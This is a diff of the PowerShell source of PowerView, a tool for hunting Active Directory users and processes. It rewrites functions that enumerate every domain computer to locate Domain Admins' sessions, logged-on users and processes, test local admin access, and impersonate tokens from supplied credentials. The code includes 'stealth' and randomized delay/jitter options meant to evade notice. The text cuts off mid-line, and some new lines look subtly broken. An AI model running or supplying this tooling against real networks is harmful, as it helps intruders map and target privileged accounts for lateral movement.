$GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } - if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { - throw "[!] No users found to search for!" + Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)" + if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { + throw '[Find-DomainUserLocation] No users found to target' } - # script block that enumerates a server + # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, $Poll, $Delay, $Jitter) - - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - $Timer = [System.Diagnostics.Stopwatch]::StartNew() - $RandNo = New-Object System.Random - - Do { - if(!$DomainShortName) { - # if we're not searching for foreign users, check session information - $Sessions = Get-NetSession -ComputerName $ComputerName - ForEach ($Session in $Sessions) { - $UserName = $Session.sesi10_username - $CName = $Session.sesi10_cname - - if($CName -and $CName.StartsWith("\\")) { - $CName = $CName.TrimStart("\") - } + Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } - # make sure we have a result - if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $Sessions = Get-NetSession -ComputerName $TargetComputer + ForEach ($Session in $Sessions) { + $UserName = $Session.UserName + $CName = $Session.CName - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + if ($CName -and $CName.StartsWith('\\')) { + $CName = $CName.TrimStart('\') + } - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + # make sure we have a result, and ignore computer$ sessions + if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { - # Try to resolve the DNS hostname of $Cname - try { - $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName - $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName - } - catch { - $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null - } + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $Null + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin - } - else { - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - } - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser + # try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + catch { + $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null + } + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null + } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation } } } - if(!$Stealth) { + if (-not $Stealth) { # if we're not 'stealthy', enumerate loggedon users as well - $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName + $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer ForEach ($User in $LoggedOn) { - $UserName = $User.wkui1_username - # TODO: translate domain to authoratative name - # then match domain name ? - $UserDomain = $User.wkui1_logon_domain + $UserName = $User.UserName + $UserDomain = $User.LogonDomain # make sure wet have a result if (($UserName) -and ($UserName.trim() -ne '')) { + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { + $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress + $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null + $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - - $Proceed = $True - if($DomainShortName) { - if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { - $Proceed = $True - } - else { - $Proceed = $False - } + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Test-AdminAccess -ComputerName $TargetComputer + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } - if($Proceed) { - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null - $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin - } - else { - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - } - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation } } } } + } + } - if ($Poll -gt 0) { - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - } - } While ($Poll -gt 0 -and $Timer.Elapsed.TotalSeconds -lt $Poll) + if ($TokenHandle) { + Invoke-RevertToSelf } } - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'TargetUsers' = $TargetUsers - 'CurrentUser' = $CurrentUser - 'Stealth' = $Stealth - 'DomainShortName' = $DomainShortName - 'Poll' = $Poll - 'Delay' = $Delay - 'Jitter' = $Jitter + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } + } - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random - ForEach ($Computer in $ComputerName) { - + ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, 0, 0, 0 - $Result + Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken - if($Result -and $StopOnSuccess) { - Write-Verbose "[*] Target user found, returning early" + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" return } } } + else { + Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" - } -} - + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TargetUsers' = $TargetUsers + 'CurrentUser' = $CurrentUser + 'Stealth' = $Stealth + 'TokenHandle' = $LogonToken + } -function Invoke-StealthUserHunter { - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} - [String] - $ComputerFilter, - [String] - $ComputerADSpath, +function Find-DomainProcess { +<# +.SYNOPSIS - [String] - $GroupName = 'Domain Admins', +Searches for processes on the domain using WMI, returning processes +that match a particular user specification or process name. - [String] - $TargetServer, +Thanks to @paulbrandau for the approach idea. - [String] - $UserName, +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction - [String] - $UserFilter, +.DESCRIPTION - [String] - $UserADSpath, +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any current processes running with Get-WMIProcess, +searching for processes running under any target user contexts or with the +specified -ProcessName. If -Credential is passed, it is passed through to +the underlying WMI commands used to enumerate the remote machines. - [ValidateScript({Test-Path -Path $_ })] - [String] - $UserFile, +.PARAMETER ComputerName - [Switch] - $CheckAccess, +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. - [Switch] - $StopOnSuccess, +.PARAMETER Domain - [Switch] - $NoPing, +Specifies the domain to query for computers AND users, defaults to the current domain. - [UInt32] - $Delay = 0, +.PARAMETER ComputerDomain - [Double] - $Jitter = .3, +Specifies the domain to query for computers, defaults to the current domain. - [String] - $Domain, +.PARAMETER ComputerLDAPFilter - [Switch] - $ShowAll, +Specifies an LDAP query string that is used to search for computer objects. - [Switch] - $SearchForest, +.PARAMETER ComputerSearchBase - [String] - [ValidateSet("DFS","DC","File","All")] - $StealthSource ="All" - ) - # kick off Invoke-UserHunter with stealth options - Invoke-UserHunter -Stealth @PSBoundParameters -} +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. +.PARAMETER ComputerUnconstrained -function Invoke-ProcessHunter { -<# - .SYNOPSIS +Switch. Search computer objects that have unconstrained delegation. - Query the process lists of remote machines, searching for - processes with a specific name or owned by a specific user. - Thanks to @paulbrandau for the approach idea. - - Author: @harmj0y - License: BSD 3-Clause +.PARAMETER ComputerOperatingSystem - .PARAMETER ComputerName +Search computers with a specific operating system, wildcards accepted. - Host array to enumerate, passable on the pipeline. +.PARAMETER ComputerServicePack - .PARAMETER ComputerFile +Search computers with a specific service pack, wildcards accepted. - File of hostnames/IPs to search. +.PARAMETER ComputerSiteName - .PARAMETER ComputerFilter +Search computers in the specific AD Site name, wildcards accepted. - Host filter name to query AD for, wildcards accepted. +.PARAMETER ProcessName - .PARAMETER ComputerADSpath +Search for processes with one or more specific names. - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER UserIdentity - .PARAMETER ProcessName +Specifies one or more user identities to search for. - The name of the process to hunt, or a comma separated list of names. +.PARAMETER UserDomain - .PARAMETER GroupName +Specifies the domain to query for users to search for, defaults to the current domain. - Group name to query for target users. +.PARAMETER UserLDAPFilter - .PARAMETER TargetServer +Specifies an LDAP query string that is used to search for target users. - Hunt for users who are effective local admins on a target server. +.PARAMETER UserSearchBase - .PARAMETER UserName +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - Specific username to search for. +.PARAMETER UserGroupIdentity - .PARAMETER UserFilter +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. - A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" +.PARAMETER UserAdminCount - .PARAMETER UserADSpath +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). - The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER Server - .PARAMETER UserFile +Specifies an Active Directory server (domain controller) to bind to. - File of usernames to search for. +.PARAMETER SearchScope - .PARAMETER StopOnSuccess +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - Switch. Stop hunting after finding after finding a target user/process. +.PARAMETER ResultPageSize - .PARAMETER NoPing +Specifies the PageSize to set for the LDAP searcher object. - Switch. Don't ping each host to ensure it's up before enumerating. +.PARAMETER ServerTimeLimit - .PARAMETER Delay +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Delay between enumerating hosts, defaults to 0 +.PARAMETER Tombstone - .PARAMETER Jitter +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - Jitter for the host delay, defaults to +/- 0.3 +.PARAMETER Credential - .PARAMETER Domain +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - Domain for query for machines, defaults to the current domain. +.PARAMETER StopOnSuccess - .PARAMETER DomainController +Switch. Stop hunting after finding after finding a target user. - Domain controller to reflect LDAP queries through. +.PARAMETER Delay - .PARAMETER ShowAll +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - Switch. Return all user location results. +.PARAMETER Jitter - .PARAMETER SearchForest +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - Switch. Search all domains in the forest for target users instead of just - a single domain. +.PARAMETER Threads - .PARAMETER Threads +The number of threads to use for user searching, defaults to 20. - The maximum concurrent threads to execute. +.EXAMPLE - .PARAMETER Credential +Find-DomainProcess - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target machine/domain. +Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-ProcessHunter -Domain 'testing' - - Finds machines on the 'testing' domain where domain admins have a - running process. +Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local - .EXAMPLE +Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by +privileged users in dev.testlab.local. - PS C:\> Invoke-ProcessHunter -Threads 20 +.EXAMPLE - Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded. +Find-DomainProcess -ProcessName putty.exe - .EXAMPLE +Searchings for instances of putty.exe running on the current domain. - PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt - - Finds machines in hosts.txt where any members of users.txt have running - processes. +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainProcess -Domain testlab.local -Credential $Cred - PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60 - - Find machines on the domain where members of the "Power Users" groups have - running processes with a 60 second (+/- *.3) randomized delay between - touching each host. +Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. - .LINK +.OUTPUTS - http://blog.harmj0y.net +PowerView.UserProcess #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.UserProcess')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [ValidateNotNullOrEmpty()] [String] - $ComputerFile, + $Domain, + [ValidateNotNullOrEmpty()] [String] - $ComputerFilter, + $ComputerDomain, + [ValidateNotNullOrEmpty()] [String] - $ComputerADSpath, + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $ProcessName, + $ComputerSearchBase, + + [Alias('Unconstrained')] + [Switch] + $ComputerUnconstrained, + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] [String] - $GroupName = 'Domain Admins', + $ComputerOperatingSystem, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] [String] - $TargetServer, + $ComputerServicePack, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] [String] - $UserName, + $ComputerSiteName, + + [Parameter(ParameterSetName = 'TargetProcess')] + [ValidateNotNullOrEmpty()] + [String[]] + $ProcessName, + [Parameter(ParameterSetName = 'TargetUser')] + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] [String] - $UserFilter, + $UserDomain, + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] [String] - $UserADSpath, + $UserLDAPFilter, - [ValidateScript({Test-Path -Path $_ })] + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] [String] - $UserFile, + $UserSearchBase, - [Switch] - $StopOnSuccess, + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + [Parameter(ParameterSetName = 'TargetUser')] + [Alias('AdminCount')] [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, + $UserAdminCount, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Domain, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $DomainController, + $SearchScope = 'Subtree', - [Switch] - $ShowAll, - - [Switch] - $SearchForest, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,100)] + [ValidateRange(1, 10000)] [Int] - $Threads, + $ServerTimeLimit, - [Management.Automation.PSCredential] - $Credential - ) + [Switch] + $Tombstone, - begin { + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + [Switch] + $StopOnSuccess, - # random object for delay - $RandNo = New-Object System.Random + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, - Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay" + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, - ##################################################### - # - # First we build the host target set - # - ##################################################### + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName } - - if(!$ComputerName) { - [array]$ComputerName = @() - - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name ) - } - - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } + else { + Write-Verbose '[Find-DomainProcess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainProcess] No hosts found to enumerate' } - ##################################################### - # - # Now we build the user target set - # - ##################################################### - - if(!$ProcessName) { - Write-Verbose "No process name specified, building a target user set" - - # users we're going to be searching for - $TargetUsers = @() - - # if we want to hunt for the effective domain users who can access a target server - if($TargetServer) { - Write-Verbose "Querying target server '$TargetServer' for local users" - $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { - ($_.AccountName).split("/")[1].toLower() - } | Where-Object {$_} + # now build the user target set + if ($PSBoundParameters['ProcessName']) { + $TargetProcessName = @() + ForEach ($T in $ProcessName) { + $TargetProcessName += $T.Split(',') } - # if we get a specific username, only use that - elseif($UserName) { - Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers = @( $UserName.ToLower() ) - } - # read in a target user list if we have one - elseif($UserFile) { - $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} - } - elseif($UserADSpath -or $UserFilter) { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { - $_.samaccountname - } | Where-Object {$_} - } - } - else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object { - $_.MemberName - } - } - } - - if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { - throw "[!] No users found to search for!" + if ($TargetProcessName -isnot [System.Array]) { + $TargetProcessName = [String[]] @($TargetProcessName) } } - - # script block that enumerates a server + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + else { + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $GroupSearcherArguments + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { - param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential) - - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # try to enumerate all active processes on the remote host - # and search for a specific process name - $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue - - ForEach ($Process in $Processes) { - # if we're hunting for a process name or comma-separated names - if($ProcessName) { - $ProcessName.split(",") | ForEach-Object { - if ($Process.ProcessName -match $_) { + Param($ComputerName, $ProcessName, $TargetUsers, $Credential) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # try to enumerate all active processes on the remote host + # and search for a specific process name + if ($Credential) { + $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + else { + $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + ForEach ($Process in $Processes) { + # if we're hunting for a process name or comma-separated names + if ($ProcessName) { + if ($ProcessName -Contains $Process.ProcessName) { $Process } } - } - # if the session user is in the target list, display some output - elseif ($TargetUsers -contains $Process.User) { - $Process + # if the session user is in the target list, display some output + elseif ($TargetUsers -Contains 